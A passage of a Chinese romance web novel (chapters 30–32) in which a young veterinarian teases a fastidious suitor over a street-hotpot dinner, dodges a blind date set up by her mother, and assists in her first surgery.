冯焱顿了顿,花了好大一会认出美妙,他脸上的神情由狐疑变成诧异,最后转为落寞,有点自嘲地嗯了一声,然后说:“我回来了,我跟你姐分手了。”
“为什么呀?”美妙愣在当场。
冯焱苦笑了下,似乎觉得美妙的反应逼当事人还激烈,片刻后才平静地说:“没什么,她选了更想要的生活。”
“我姐……”美妙没反应过来,“那你——”
她傻呆呆沉默了,完全说不出话。
他这么说,已经没必要追问更多了。
冯焱好像很看得开,犹豫了一下,反而走过来安慰她:“你还好吧,是不是毕业了?”又看她一身白大褂,“恭喜你。”
美妙淡淡嗯了声,笑不出来。
见他拿着检查单,忙问要不要帮忙,冯焱说只是带家里的狗来体检,结果挺好的。
她露一个尴尬的笑:“那就好。”
接下来两人客套几句,冯焱先走一步,再也没了往日的熟稔。
三年的感情,就这么说散就散?就这么说分就分吗?
美妙不理解,她给美丽去了一条消息,美妙没回,之后她又连续发了几条,美丽还是没有回音。
美妙呆坐在电脑前,愣了好久,光标一闪一闪。
捏在手里的手机猝不及防地亮起。
叮咚叮咚响起一串消息提示音,以为是美丽。
等点开后,她失望地叹口气,不是美丽,是某咖啡公众号发的两张优惠卷,想着苍蝇腿再小也是肉,她一边翻白眼,一边领了卷。
她惆怅地锁屏手机,要是二老知道美丽跟冯焱分手,冯焱一人回国,还不知道是个啥反应。她想想就觉得无比可怕,不愿再想。
退回桌面看了下时间,心想今天晚点回家吧,最好回去的时候老两口都睡了。强迫自己集中注意力在病历系统上,然后专心搞工作,等下班后,同事都走了,她晃着发酸的脖子,又看了看进展不大的病例,实在编不下去。
此时手机又咕咚响了下。
她忙捞起来,看到头像上一个小红点,她小小地切了一声。
才点开。
北津市元启生物公司阎王爷:【刚才路过那家餐厅,突然想起美医生好像还欠我一顿饭?】
美妙对着吐了下舌头。
然后掏出自己的宝藏小吃店检索一会儿,挑了一个,发了一个定位。
回他:【这个地址,半小时后见。】
这家店离医院不远,藏在一片老旧居民区,周围好吃的苍蝇馆子不少,而且附近好几所中学,住的人也多,加上铺面是老板自己家的,所以开了好些年。铺面虽然不大,但干净味道好,从高中发掘它到现在,美妙已经光顾了好些年。
街上正值拥堵晚高峰,车流如龙。
原本以为梁时言会晚到一点,但没想到,就在她刚给小电驴找好位置,不经意抬头,就看到了马路对面的梁时言。
他这个人的身高以及气场,在车流人流中还真是……十分显眼!
还有他身后那辆豪车,也真是分外醒目。
“来的还挺快。
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”她挥挥手自己的位置,也不知道对方看到没有。
她低头先停车,再抬头,梁时言已经不在车边。
她稍一偏移,就看到他已经横向穿行在人群里。
因为很显眼,所以她一眼看到他,就这么走过来,神情一贯的冷淡,姿态从容,一身不沾半分拥挤,他的视线平直地望过来。
很明显,他看到她了。
以最近的直线距离,直直地,不带偏离地,就这么走过来。
周遭的嘈杂就好像被一道无形的屏障隔开,连自己这边都显得格外安静。
她忽然想起上次,他那个笑,有点冰川裂开细缝,春光乍泄的感觉,就像现在。
他这人真的是,明明总给人摆出一副冷脸寡言,不好接触的样子,但偶尔,就很矛盾的感觉,似乎他也藏着其他面,让人忍不住想探究。
只是这饭店……
这么想着,美妙转身,看着身后这家经年墙皮斑驳、窄小破旧、风雨飘摇的串串香小店,外墙勉强刷着黄色油漆,挂着一副鲜红的宣传横幅——不要打架,打输住院,打赢坐牢!
跟这人的气质,貌似不搭?
她突然想到,这人一会儿该不会扭头就走吧。
这里不仅小,甚至称不上饭店,老板仅是在人行道上支棱了一排矮桌,然后大家随意围着撸串而已。隔壁就是一家蔬菜店,客人伸伸腿的功夫,就可能会踢到一袋洋葱,一袋土豆,或者不小心碰倒一筐青菜。
富人与穷人的阶层隔阂,决定了她爱去的店一定不是他想象的店。
转眼富人已经走到她跟前。
梁时言穿着白色Polo衫,下身是一条黑色垂坠长裤,显得长腿笔直,整个人倒比之前看着轻松顺眼多了。
“吃这个行吗?”美妙试探着问。
梁时言闻言环顾四周,似乎对吃饭的地址有点兴趣,问她:“就在这里吃吗?”
“对啊对啊。”美妙笃定地说:“这里真的很好吃,又新鲜又——”
她侧身让过一位过路人,语气十分诚恳,极力洗脱抠门的嫌疑,“而且一点都不便宜好吧。”
梁时言也跟着侧身让人,似乎笑了一下,说:“你做东,你决定好了。”
这才像样嘛,客随主便。
因为来的还算早空位多,美妙挑了张相对宽敞靠着门口的桌子,老板很快过来点单。
美妙看着他:“你能吃辣吗?”
梁时言正试图坐下去,呃……窄小的编制靠椅对美妙来说刚刚好。
但梁时言那两条仙鹤般的大长腿,显然有点没地方张罗,他起身又站起来调整方向,然后勉强坐进去,抬眸道:“吃的不多。”
美妙:“?”
她转头对着老板一笑,选了个万无一失的方案,“要鸳鸯锅,谢谢。”
串串火锅店就是这样,汤底都是现成的很快上桌,美妙站起来指着店内的几只大冰柜,介绍说:“吃的都在保鲜柜里,想吃啥自己拿。”
梁时言不食人间烟火地点点头,准备站起来:“自助吗?”
呃……你要硬这么说,也不是不可以。
美妙一时有点后悔来这里,这完全带不动啊,眼看上的人越来越多,她连忙阻止他站起来:“你坐着,我去拿!”
端着托盘回来的功夫,锅底已经上了,美妙拿着肉串往沸腾的锅里下,顺道提醒说:“吃完不要扔,丢在桶里。”她用下巴指着桌下,“一会儿还要称重呢。”
梁时言转头,正好观察到隔壁桌正往小桶里丢木签,他看了一会儿,犹疑地转回头:“这些签子还要回收重复用吗?”
30. 第 30 章
“嗯,不干不净吃了没病,再说高温煮沸消毒了呀。”她拿了一串虾,拿筷子撸到自己碗里,耐着性子演示给他看,“你看,这嘴巴也碰不到呀,也没见谁对着撸。”
“那就是回收了。”梁时言慢慢撇开头,下颌角明显绷了绷。
美妙一听,在心里翻了个白眼,早知道不带你来这里。
换个便宜的地方更好。
没想到,对面飘来一个毫无情绪的沉静嗓音:“熟了吗?”
她抬头,对上一张“十分不情愿但出于礼节不得不忍受“的古怪帅脸,堪堪忍住笑,语气瞬间充满了鼓励,“熟了熟了,快吃吧。”
其实心里已经笑到满地找头。
只见梁时言犹豫地拿起一串虾,垂眸往碗里拆,他好像忽然摸到了竹签上的脏东西,表情一瞬间的怪异,顿了下,拿着丢在旁边桶里后,还搓了下手指。
美妙赶紧低头,差点咬到舌头。
只是憋笑实在太辛苦,她咯咯咯终于笑出声,眼睛直白又含着无辜,“你是不是有洁癖呀?”
梁时言从她笑开始,就一直看着她:“没有。”
美妙闻言缓缓地点头,又怀疑地看他一眼没有多问,她指着店里新上的菜色,主动推荐说:“你尝尝这个,巨好吃。”
梁时言抬起眼,先看她一眼,又一路往下,定格在锅里一小串黑黑的东西,没动作。
美妙见状拿出来,主动递过去,自己也拿了一串。
马路灯在街对面亮着,隔了街的宽度,并不明亮,旁边绿化树也遮住了不少光线,仅借着店门口一盏冷白色的日光灯,斜斜的洒将过来,根本看不清。
梁时言盯看片刻后才伸手接住,细看之下依旧雾水,问她:“这什么?”
美妙笑,她仰头看了下棚顶。
这时老板正好开灯,一圈缠绕在头顶的黄色串珠灯在同一时刻亮起来,投下暖融融的黄色光晕,恰好落在她仰起的脸上,她眼里亮晶晶的,闪着光——“猪肺。”
她看着他。
见梁时言不动,她示范性地先吃起来,直接扒拉下来塞进嘴里,睫毛投下的阴影随着咀嚼的姿态忽明忽暗。
“你尝一下,真的很好吃。”她是真诚地推荐,眼底盛着打碎的星光,笔直地看着他。
梁时言捏着串串的手,微微顿了顿,他低头看着黢黑带着孔的一下片肉,似乎下不去嘴。
美妙只是建议,当然不会强人所难,只是这指甲盖的一丢丢猪肺就要两块大洋,不吃实在浪费,她看出他的为难,大方伸出手:“给我吧,我爱吃。”
梁时言默默把签头朝向自己,递过去,美妙自然地捏住他手上方,他一松手她就熟练地接过,手腕一反转,直接用牙齿撕下来吃,真的很香,软嫩中带弹性。
她不住地点头,沉浸在自己的美味里。
梁时言十分无语地瞥了她一眼,抬手扯了一张抽纸:“这不就有人对着撸吗?”
“……”
美妙一呆,只觉得喉咙发紧。
半响,她才憋了句:“我去拿点喝的。”站起来。
转身的时候感觉背上火辣辣的,脚步都有点不自在。
好在只有几步远,饮料都在室内冷柜里,摆在收银台后面,来的次数多了,老板娘跟美妙混了脸熟,看热闹地往外伸了伸脖子,笑着问她:“今天带男朋友来啊?“
“不是,”美妙即刻摇头,“就一普通朋友。”
刚才自己打自已脸实在丢人,美妙一时间尴尬无比,没着急回去,而是留在狭窄的门口跟老板娘瞎聊,墨迹了一会儿,老板娘笑:“你那普通朋友可够帅的啊!”
美妙就随口:“一般般吧。”
“这还叫一般般呀?”老板娘惊叹之余,瞅了一眼外头正给客人续水的老公,不免酸溜溜的:“你眼光可够高的。”
美妙心不在焉地听着,视线在老板娘身后流连,一指冰柜,“帮我拿一个水蜜桃味道的。”
“就要一瓶呀,你那普通朋友不要?”老板娘打趣她。
美妙受她启发,咬了下嘴唇,忽然一笑,“要要要再拿瓶原味的。”
她麻利起开瓶盖,插上吸管,一手一瓶回到小桌前,相当有诚意地说:“梁时言,你尝尝这个,真的真的特别好喝,而且特别干净,你看我刚刚起开的。”
不等他说话,她走过去递到他手边。
梁时言:“汽水?”
美妙微微一笑:“恭喜你答对了。”
总算聪明一回。
梁时言:“没有那种瓶装的纯净水吗?”
美妙一摇头:“没有。”
梁时言:“苏打水?”
美妙:“没有这个。”
梁时言认真起来:“可乐呢?”
“没有,老板说没有。“
梁时言蹙眉:“那有什么?”
“这个呀。”她扬扬手,低头示范性喝一口,转头朝四周桌上都摆着的汽水望望,诱惑道:“你看大家喝的都是这个?”
她又将汽水往他平淡如水的脸前杵杵,眼里闪着无比真挚的光芒,“真的你信我,吃串串就得配这个。”
梁时言轻笑出声,似乎被她锲而不舍的推销打动,竟然接了过去,小小地吸了一口,然后放下瓶子,他垂了下眼睛,喉咙里还残留着气泡的酥酥麻麻。
美妙压了压嘴角,坐回自己的椅子,装模作样地问了句,“你以前没喝过这个吗?”
梁时言还垂着眼眸:“从小家里不让喝。”
那挺惨的,这哥童年失去了好些乐趣。
美妙还没惋惜完,忽然一激灵,诶不对,陈佳佳不是说他没爹没妈吗?想到这里,美妙不由叼着吸管打量对面。
这哥正经八百坐着,眉骨到眼尾的线条无比流畅,气质冷淡,透着股生人勿近的天然气场,难得聊到家里,也透着一股不好打交道的难搞劲。
没爹没妈的话养不出来这种精致的孩子吧?
陈佳佳的情报工作没做好,这,完全可以下岗了。
虽然没有直视,但梁时言察觉出来自己被默默盯着,他感到好笑,抬头淡淡扫了眼美妙,见她歪头抵着吸管,有一搭没一搭地吸着。
开口问她:“怎么了?”
美妙回神,噢了一声,刚想说什么,兜里手机响了,她掏出来放在耳边:“喂爸爸。”
那边不知问了什么,她看眼梁时言,很乖巧的口吻:“跟
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同事吃饭呢。嗯,我晚点回去。”
梁时言也看着她。
她见状挪开目光,聚焦在远处街上流动的人群,冲远处点了点头,对着电话保证道:“放心啦,不会太晚,必须小心驾驶。”
放下电话的同时,她收回视线,落在对面那哥深邃的脸上:“你刚要问我什么?”
梁时言笑了下:“没什么。”
美妙缓缓眯起眼,怀疑道:“真没什么?”眼神不由自主漂走,睨着他手边的汽水。
梁时言大概觉得无语,拿起汽水吸了一口,然后摇摇头。
“那汽水好喝吗?”美妙试探着问。
那哥略微点头,“还可以。”
“嗯……”美妙使劲憋着笑,“那……”
她低下头,也喝了口自己的水蜜桃汽水,状似无意地说:“哦,我忘记告诉你了。”
等那哥看过来,她嘴角噙着奸计得逞的坏笑,十分平静地说:“这瓶子你别打碎,一会儿还要回收呢。”
梁时言:“……”
眉心的那一小块空地,肉眼可见,慢慢慢慢鼓了起来。
美妙看着仿佛被点了笑穴,最后“咚”一声趴在桌上,双手捂着头肩膀还在疯狂的抖动。
“……抱歉!”她笑得浑身发颤。
梁时言撇开脸,嘴角抽动两下,不知是想冷笑还是想骂人,喉结默默滚动一圈,又把涌到舌尖的话咽回去,低头紧了紧下颌,半响后倏然松开。
忽然被自己弄笑了。
他看着她,无语道:“就这么好笑?”
“嗯。”美妙从桌上抬起头,头顶几根呆毛跟着点了点,她看着他,忍不住确认:“你是有洁癖吧?”虽然这么干有点缺德,但是实在太搞笑了,这可真是今天最开心的事了,她控住不住,邪恶地想。
没想到梁时言脸色一冷:“没有。”
真是石头鸭子,嘴真硬啊。
美妙一时很震惊,下一刻就不得不佩服梁时言,可真是当代关羽——说过的话比青龙偃月刀还算数,主打从一而终。
她不再逗他,没就没吧,笑着摁亮手机看时间,嘴里说着:“谢谢你啊。”
让我这么开心。
梁时言不为所动,不知道她在那里傻乐什么。
他也看眼手表,毫不客气地抬起巴点向店内:“去买单吧。”
吃没吃饱不知道,反正这顿是笑饱了。
美妙嗯了声,乐颠颠地走到前台,老板娘看她笑着这么欢,下意识又瞅了眼那位相当打眼,这会儿却冷着一张帅脸的食客,问她:“你那朋友看着可不咋开心?”
此话一出,美妙刚刚镇定的肩膀,又开始不由自主地颤动。
她耸耸着扫码付钱,接过小票低头核对:“没事,他一会就好了。”转念一想,又让老板娘从后面拿瓶纯净水,轻声说:“要最贵的。”
老板娘依言挑了瓶某岁山。
美妙就问多少钱,边说边扫码,被老板娘拦住:“不用,送你了。”
美妙笑着道谢出去。
这时梁时言已经起身,一副整装待发只等闪人的架势,她用手死死压了压嘴角,一副淡定的表情走过去:“给,喝这个吧。”
31. 第 31 章
梁时言愣住,然后罕见地发出一声气音,他没接,而是低头盯着她头顶立着的几根呆毛,真是话都懒得说了。
“你不是说老板不卖这个?”
如果不是怕挨揍,美妙简直要跳起来,她心里暗爽面上却死死压住,噢了声,随意地说:“那个……刚才没看着。”
梁时言脸色真得很不好看。
真的是整人一时爽,一直整人一直爽。
捉弄人的快乐,比捡钱还来劲!
回家的路上,美妙几乎哼着小曲,骑着小电驴,穿过弯曲的街道,风轻快地掠过,路灯光亮亮地照着,树叶在光影里快活地窃窃私语。
同样是回程,但梁时言这边好像不怎么开心。
他专注地开着车,车窗紧闭。
车内昏暗,只有仪表盘的微光,路灯一盏接一盏掠过,他沉寂淡漠的脸忽明忽暗,光来时,看得清他紧绷的下颌线,暗下去,只剩清冷黑亮的眼睛默默朝前。
等红灯的间隙,他偏头倪着丢在副驾的矿泉水,忽然嘴角一扯,无语地笑出声。
车窗外霓虹流转,再启动车子,他开了半截车窗,夏末秋初的炙热一下子涌进来。
美妙惦记着美丽的事,回到家一切如常没有异样,这才稍微安心。
在美丽还没有回复前她决定管好嘴巴,毕竟清官难断家务事,况且还隔了这么远。不过,以她对姐姐的了解,她一定不是故意不回消息。
果然第二天早上消息来了,美丽先是说在考试所以没及时回消息,然后接连发了几条消息过来,无其他内容,就是警告美妙不要大嘴巴把消息说给外人听,尤其是爸妈,最后说:
【你管好你自己就行,我的事我会处理好。】
一时间,美妙有点茫然无措。
想起当时冯焱的表情,和他说的那句“没什么,她选了更想要的生活。”
她觉得,冯焱是个体面人。
“干嘛呢,淘金呢?”沈女士敲着碗边。
“再磨蹭该迟到了妙妙。”美老师也发现女儿心不在焉。
美妙停下搅豆浆的机械动作,收敛心神认真吃饭,怕父母追问低着头啜豆浆。
只听对面沈女士悠悠地说:“今天晚上去郝阿姨家相亲。”
她正喝着豆浆,猛地一呛,差点喷出来,闷出两声咳嗽:“咳咳——妈你说啥呢?”
沈女士不为所动:“相亲。”
“爸爸……”美妙惊恐地看向美老师,咱不是说好了猛猛p照片吗,怎么回事啊,她用凶猛的眼神质问老爸。
美老师尴尬一笑,接话道:“p确实是p了,而且p得很厉害。”然后转头看眼沈女士,略略委屈,“连你妈都没认出来。”
听到这,美妙心头一松,那还去相个屁哦,她捞根油条说:“那我不去了,我怕把人吓死,回头人家再告我诈骗。”
沈女士淡淡瞅她一眼,一副早看穿两人把戏的淡定样子,“没事,郝阿姨介绍的是他儿子,早就见过你。”她筷子一指电视柜,“你爸给你洗的妖精照片,那不还在那儿放着呢。”
美妙:“……?!”
美老师闷头不语。
家慈一言,如敕令降。
方圆十里都知道,当沈女士认真的时候,摇尾求救是没用的,撒泼打滚也是徒劳。这也就是为什么美丽大学一毕业,就坚持搬到外面住了,因为强悍如她,有时也不得不屈尊于“伟大“的母权之下,更何况卑微渺小的美妙。
所以在这个家里,妈妈的话就是最终决议,爸爸的劝说属于无效发言,而女儿的反抗属于——可以反对,但,并不影响执行。
于是美妙一整天都在琢磨对策。
甚至想把姐姐分手的大事件爆出来,用来博取热度,好逃过一劫,但是她,实在下不去手,一想到美丽圆溜溜的眼睛瞪着自己,她就立刻打消了这个念头。
“干嘛呢,刷鞋呢?”杨帆侧头看她。
“哦。”
美妙打住思绪,这才感觉手背有点烫,于是翻过来洗另一面。她刷着手边想着,虽然自己没啥爱情运,但事业上也算有长进,经试用期考核结束后,喜提二助,今天是首次手术。
当她举着手走进手术间时,忽然想起实习第一次上手术,那时候多紧张,自己对着镜子练习整夜的持针姿势,结果压根没用上。
而这次却不同。
主任一顿,她马上吸走渗液。
主任咳一声,她立即移开避免组织被吸附损伤。
有那么一瞬间,当病号肿瘤摘除的瞬间,她只是持吸引头接住不动,都产生了一种神圣的感觉。
正沉浸着,只听主任突然咳嗽。
美妙:“嗯?”手一抖,赶紧把吸引器挪开。
邹老头隔着镜片,用一双鹰眼打量她:“这么紧张干嘛?”
美妙小脸一抽,委屈地小声抗议:“那不是因为您咳得太突然了嘛……”
邹老头哼了声,缓了缓说:“行啦,逗你的。”美妙心道这还差不多。
然后一个急转弯,“就是劲儿大了点——不知道的以为你在给病号做拔罐儿!”
美妙傻眼,简直怀疑人生。
旁边插不上手的杨帆,终于找到机会添油加醋:“刚才纱布飞起来的时候,还以为你放风筝呢!”
美妙抬起头,一双充满恨意的眼睛盯住他。
邹老头就不耐烦:“行啦。”
两人这才暂时消停。
美妙顺势抓住机会,乖巧道:“主任,那我试试缝合?”
主任只缓缓丢给她一个眼神,意思是异想天开。
呃……来日方长,二助已经到手,一助还会远吗?
美妙这么安慰自己,然后老实看着前辈操作。持针器在三分之一处夹住,这个位置能让弯针走出最完美的弧形轨迹,收线时,腕部不是简单的旋转,而是带着类似太极拳的绵劲,这样线结才能服帖地沉入组织——她转动着手腕,下意识模仿那个弧度,这真是教科书上不会写的细节啊。
毛主席说的没错,果然实践出真知。
回到科室,趁热乎,她就开始现学现卖。
可其他事情却没那么简单。
当接到陈佳佳回电的时候,美妙已经坐在工位上,缝完了两只香蕉。
那头先是哈哈哈哈嘲笑一番,然后才问她:“你为什么不想去?”
美妙觉得奇怪:“我为什么要去?”
陈佳佳轻嗤一声,“怎么,你真打算打一辈子光棍?”
“怎么可能?”美妙又拿了一只香蕉,“我才多大,大把的时间找对象。”
“再说了,相亲五分钟,尴尬两小时,有这功夫我还不如多缝两只香蕉。”
“那万一呢,你遇到一不错的搞不好能结婚?”陈佳佳诱惑她。
“算了吧,”她按压香蕉皮,凭触感寻找合适的部分,“我连自己袜子经常都凑不齐一对,还指望我能碰……碰到一个合适的人。”
陈佳佳忍不住掐人中。
她逐渐暴躁:“那你就在一颗树上吊死算了!等你那师兄结婚的时候,你去给她当花童!”
我嚓!
这也太残忍了
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吧,美妙下手术刀切出一段切口,一心二用地说:“我让你出主意,是说怎么样才能不去相亲又能不让我妈暴怒,你别忘了你的功能,好不?”
“那不太简单了,你直接说你有男朋友不就结了!”
“我去!”美妙抬头,歪头对着耳机的线控说,“你让我撒谎啊?”
“这么说吧,”陈佳佳继续出主意,“你赶紧给你那师兄表白,成不成功看你本事,如果成功万事大吉。如若不成,我劝你趁早换棵树。”
“我为啥要换?人家参天大树那么优秀,一般人根本比不上。”
“你他妈是找榜样还是找对象啊?”
“有区别吗?”
陈佳佳彻底无语:“我说你是缺树还是缺心眼啊?”
“你才缺心眼呢……”美妙凝神打了一个漂亮的线结,不再跟陈佳佳啰嗦,只说:“行,我有主意了。一会咱还老地方见,我请你看电影。”
“成!那你不去相亲怎么搞定你妈?”
美妙屏住呼吸剪断线头,像是下定了什么决心,一字一句道:“山人自有妙计。”
陈佳佳:“我靠你牛!”
美妙冷哼,心想老话怎么说来着。
这边挂了电话,这边给老美发了一条消息,然后将手机调成飞行模式。
等看完电影,然后跟陈佳佳吃顿饭,再之后逛街消食,等她推开自家防盗门的时候,已经是晚上11点了。
客厅静悄悄的,电视也没开,只墙角亮着一盏落地灯,一反常态的安静。
她在门口换拖鞋,踮着脚尖往里打探,主卧的房门半掩着,里头亮着灯。
她凝神静听了一会儿,没一点动静,这不对啊?按道理就算不挨揍,最起码也得挨顿批斗吧,今天这是怎么了。
她定在门口,大气也不敢出。
正打算掉头回屋,刚刚小心翼翼地抬起一只脚,忽然门开了,美老师从里头走出来,看她一眼:“怎么这么晚才回来?”
美妙抬脸尬笑,备好的托词开口就来:“今天聚餐领导们都在,实在不好提前走。”
美老师听了点头,谨慎地看眼屋内,示意她小声点:“快去睡吧,别吵到你妈。”
“哈,我妈咋了?”她顿生自责。
美景山赶紧摇头示意她别说话,然后两人回到客厅,才小声说了缘由。
美妙听后心里一咯噔。
原本还想瞒着爸妈,结果还是纸包不住火。
美丽分手的事这么曝光了。
原来沈女士下午出门张罗相亲时,碰到了老同事,从那人嘴里听说她侄子被甩,只身回国的事情。而她的侄子就是冯焱。沈女士说什么都不信,两人当场就去冯焱家,正撞上本人以及亲家老两口。
就什么都明白了,沈女士那么爱面子的人,当场就晕了。
美妙很担心:“那我姐……”
美景山叹口气,很无奈:“你姐跟一个老外好了。”
“啊?!”虽然隐隐有猜测,但亲耳听到爸爸这么说,美妙还是不敢相信。
“那她……”她思绪混乱半天,也不知道该说什么,最后也轻轻叹口气,靠在美老师肩膀上,劝慰着说:“也许他们命中注定不合适吧。”
美老师见她一副人小鬼大的深沉模样,想笑又无奈,拍拍她:“快睡去吧,明天还要上班。”
“那我去看一眼妈妈?”
“嗯。”
“那我去了?”美妙从沙发上起来,试探着问。
“嗯,诶……”
“怎么了?”美妙紧张地回头。
32. 第 32 章
美老师终于想起把老婆气病,小女儿也有份,他脸色一变,又顿了下,心说今天太晚,明天你再挨揍吧:“你妈睡下了吗,明天再说。”
“噢。”美妙老实地回自己房间,担心之余夹着点庆幸,自己也算逃过一劫。
没想到法网恢恢疏而不漏。
第二天吃早饭,美妙刚把白粥端在手里,一道“竹笋炒肉”紧跟着就来了。
沈女士只用一个犀利的眼神,就让美老师帮腔的话胎死腹中,他同情地看一眼美妙,意思是吾女在劫难逃,自求多福吧。
美妙会意,知道该逃的还是逃不掉。
瞬间后脖颈发凉,抽空偷瞄一眼对面,大概因为昨夜没睡好,沈女士的眼下明显阴郁,明显憔悴不少。她小小翼翼地低下头,捏着白瓷勺不敢碰触碗边,知道暴风雨来了。
只听沈女士先是长长地叹气,然后整理了一下情绪,俨然一位经验丰富的老警官,审问犯人的语气平静如水,却威慑十足,“你说说吧。”
美妙立刻举手起誓:“妈,我真的没骗人!”
沈女士挑眉:“是吗?那你说说男方是干嘛的?今年多大?”
“他……”美妙支支吾吾,早知道昨天姐姐事发,沈女士取消了她的相亲局,她就不该发那条该死的微信,说什么“爸妈我不能去相亲,因为很快就要有男朋友了,实在不需要。”真是该——掌嘴!掌嘴!
不过话一出口,现在后悔已经来不及了,只好陪着笑打哈哈:“妈妈,我说有男朋友肯定有男朋友,不过就是…时间问题。”
“那就是没有。”沈女士一眼看穿,直接放话:“行了别扯犊子,今天晚上早点回来,直接去你郝阿姨家。”
美妙:“……”
她一下坚定起来:“我真有!”
沈女士丝毫不为所动:“那你倒说说他在哪儿工作,姓什么?叫什么?多大年龄?”
美妙呆了下,说出来的话有点软:“他……”
“妈,我跟您说了,我很快,很快好吧,等那人一定下来我即刻通报,您就先别逼我了。”
美老师看她说得真诚,忍不住插话:“真的吗妙妙?”
“当然真的。”她着急地看一眼沈女士,“比珍珠还真,骗您我胖十斤!”
“我发誓!”毫不犹豫地举起手指。
能拿体重发誓,真是把毕生修为都押上了。
这回老两口终于有点信了,但只是略略松口,只说暂时可以不去相亲。
但纸终究包不住火,她要到哪里踅摸一只自己yy出来的男友呢?
等从家里出来,被风一吹,她有点后悔拿体重赌咒发誓,就她这小体格,要是胖十斤不得变成矮冬瓜啊。
到科室的第一件事,她就去隔壁办公室找体重秤,刚站上的一瞬间,简直不敢相信自己的眼睛,再试一次,发出了尖锐的哀鸣:“这秤不准吧?”
这时有人进来,收了签字笔抬头看她:“怎么了?”
“我靠!这电子秤……”由于太过惊讶,不自觉飚了句,“这秤到底准不准啊?”她震惊地抬头,却见苏屹正好奇地看着自己,顿时呆住。
四目相接,耳根慢慢慢红了起来。
太丢人了……
她只好干笑,尴尬地从秤上下来,自己嘟囔着找补:“这个体重秤,好像有点问题诶。”
“什么问题?”苏屹笑着走过来,自己站上去测试了一下,“挺准的呀。”
美妙裂着嘴角点点头,要是没坏的话,那她比入职体检时已经重了五斤。
足足五斤啊!她现在满脑都是短视频上称五花肉的视频,难怪最近裤子有点紧,她还怪说后勤发的裤子码数不准。
呜呜呜!简直了!
苏屹看看她一会笑,一会又皱起眉,猜测地说:“长胖了?”
美妙猛地抬头,很震惊:“很明显吗?能看出来吗?”
“很正常,工作以后就不像学校作息规律,大家多少都会胖。”
“是吗,师兄你也胖了吗?”她低头去看体重秤,可惜他下来,屏随之灭了。
苏屹听后点点头:“嗯,也胖了。”
美妙略觉安慰,心里多少好受一些,想说反正大家都一样,这也不是她一个人。
谁知苏屹又说:“我胖了二两。”
她不由得呆住,刚开始以为对方故意逗趣,但他口气认真,是那种不带戏谑的直白告知,这点,看他认真的表情,她便更肯定了。
“噢。”她点点头。
苏屹很认真,同时也是一个有教养的人,所以他没有追问,这也许出于男女有别,也许因为他们关系不熟,因为他刚才已经说了,大家都长胖了,不过这其中好像并不包含他自己。
或许她想的有点多,但这个时候,美妙心里竟然有点希望他追问,问说你刚才那么激动,到底胖了多少啊?
那么,她会回答,会不好意思。
但是她会。
没想到苏屹开口,接着说:“恭喜你啊,听说当上二助了。”
他竟然有留意自己,美妙心里一喜,惆怅烟消云散,可是看到他的胸牌,她又有点自惭形秽起来,比起他,自己还差的天高水远。
可她还是很高兴:“谢谢师兄!”
“那我先走了。”苏屹说着走向门口。
美妙看他对自己笑了下,心里莫名激起一股勇气,她冲动地想,如果她说出自己对他的感觉,他会是什么反应。
忽然产生这种感觉,她心里慌慌的,下一刻脑子里已经开始设想各种可能的答案,好的、坏的、尴尬的、或者沉默的,每一种都让期待又害怕,这种对于未知答案恐惧,让她不敢再继续想下去。
片刻后,这种临时起意的冲动,又缓缓萎缩,她清晰地感受着,把这种复杂的感觉压下来。盯着地上的体重秤,她又产生了深深的忧虑,整整五斤肉啊。
出生以来,她第一次产生身材忧虑,心想再这么放任下去,男朋友没着落,自己就先废了。毕竟这年头,钱包可以空,恋爱可以寄,但体重绝对要守住啊!
更何况,她给沈女士下了保证——一个月以内绝对有突破性进展。
往哪破?又破谁呢?
破谁暂且不论。
反正当务之急,这五斤肥五花必须减下去,都怪平时吃的太好,首先每天的外卖肯定是要断了。于是她老老实实开始吃食堂,每天素菜度日,强迫自己嚼够二十下才吞咽,到了牛面前,牛都直呼专业的地步,就这么过了几天,瘦没瘦不知道,反正两眼泛光,绿得能当交通灯了。
正忍受着饥饿,杨帆在门口喊她:“美医
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生,你帮我看看这只矮脚猫。”
美妙闻言摇头,她只是无脑地摇头,实际并没听进杨帆说的啥。
只听一个更加高亢,调笑的声音:“怎么,美医生见死不救呀?”
声音略耳熟,美妙怔了下回头,只见吕城潇洒地站在杨帆身边,面上带笑,依旧衣冠楚楚,带点玩世不恭的表情。
美妙一时间没反应过来。
吕城就解释说:“我的猫。”
“哦哦哦。”美妙抓紧站起来,觉得挺有意思,“你还养猫啊?”
“怎么,我不配?”吕城故意逗人,明知美妙不是这个意思。
“配配配,”美妙立刻走过去,“当然配,立刻为您效劳。”
还真是物以类聚人以群分,这人跟怎么梁时言一样,看起来不好相处,实际也挺难搞,怪不得是同事。她一边腹诽。
吕城笑,盯了她几秒,忽然语气一转:“梁时言最近来过吗?”
吕城的爱猫打理的油光水滑,还十分斯文地戴了只遮阳帽,美妙没明白他这话的意思,从医生的角度出发,先说建议:“尽量不给健康猫咪戴遮阳帽,实在怕热的话,可以减少外出或者穿件专业的防晒服。”
然后才回答:“怎么,舒克病了?”
吕城一笑,“那倒没有。”然后又似笑非笑地看着她。
美妙感觉莫名其妙,“你总笑什么呀?”
吕城忙摇手,说没笑什么我就是随便问问,然后催促美妙检查。
美妙开始触诊,结果刚一伸手,那猫一个无影脚蹬过来,差点把听诊器踹飞,她冷静熟练地控制住病号,然后边问症状。
“它就是最近不爱吃饭,还总发呆,是不是得肿瘤了?”吕城很担心。
“它体重超标,你挂的是肿瘤科?”
杨帆不失时机地跳出来:“你看,我就说它没毛病,就是天气热,加上胖的。”
吕城听了终于松口气:“那它为什么萎靡不振?”
美妙淡定地翻病例,“它就是胖的,你少喂食减减肥就好了。”为稳妥起见,还是说:“来都来了顺便做个全身CT,排查一下也放心。”
“行,来最贵的。”
“行,价值998尊贵套餐,先缴费后排队,出门右拐东厅。”
吕城笑:“咱们都这关系了,不给打个折?”
美妙也笑:“诶吕总,咱这可是正规医院。不过咱可以特批,送你家猫大人一批名牌玩具。”
“你之前也是这么忽悠梁时言的吧?”吕城冷不丁一问。
美妙从电脑前抬起头,一脸诧异:“谁忽悠他了?”
没忽悠,他这么一个天仙都不鸟的人能给你当车夫,吕城刚这么想着。
美妙手机响了,她看眼备注站起来,示意杨帆继续开单,自己走到外头接。
上班时间家里一般不来电话,如果有事都是微信,她看到了就回,都知道她的工作性质,美妙心里一紧,心说该不会还是相亲吧。
“喂,妈妈?”她还有点紧张。
谁知那头安静了几秒,顺着听筒传来沈女士断断续续的声音,带着哭腔:“你快来吧……你爸……”
“啊?!”美妙听完惊呆了。
她抓着电话火急火燎地进门,“我爸被派出所给抓了!”
33. 第 33 章
